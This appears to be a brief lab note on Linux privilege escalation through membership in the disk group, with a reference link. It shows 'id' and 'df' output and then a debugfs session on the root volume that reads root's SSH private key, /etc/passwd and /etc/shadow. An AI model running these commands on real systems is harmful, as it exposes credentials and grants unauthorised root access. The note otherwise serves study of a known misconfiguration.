Reference: https://www.hackingarticles.in/disk-group-privilege-escalation/ ```bash dora@dora:/tmp$ id uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk) ``` ```bash dora@dora:/tmp$ df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/ubuntu--vg-ubuntu--lv 9.8G 5.1G 4.2G 55% / udev 947M 0 947M 0% /dev tmpfs 992M 0 992M 0% /dev/shm tmpfs 199M 1.2M 198M 1% /run tmpfs 5.0M 0 5.0M 0% /run/lock tmpfs 992M 0 992M 0% /sys/fs/cgroup /dev/loop0 62M 62M 0 100% /snap/core20/1611 /dev/loop1 64M 64M 0 100% /snap/core20/1852 /dev/sda2 1.7G 209M 1.4G 13% /boot /dev/loop2 68M 68M 0 100% /snap/lxd/22753 /dev/loop3 50M 50M 0 100% /snap/snapd/18596 /dev/loop4 92M 92M 0 100% /snap/lxd/24061 tmpfs 199M 0 199M 0% /run/user/1000 ``` ```bash debugfs /dev/mapper/ubuntu--vg-ubuntu--lv mkdir test cat /root/.ssh/id_rsa # 혹은 cat /etc/passwd cat /etc/shadow ```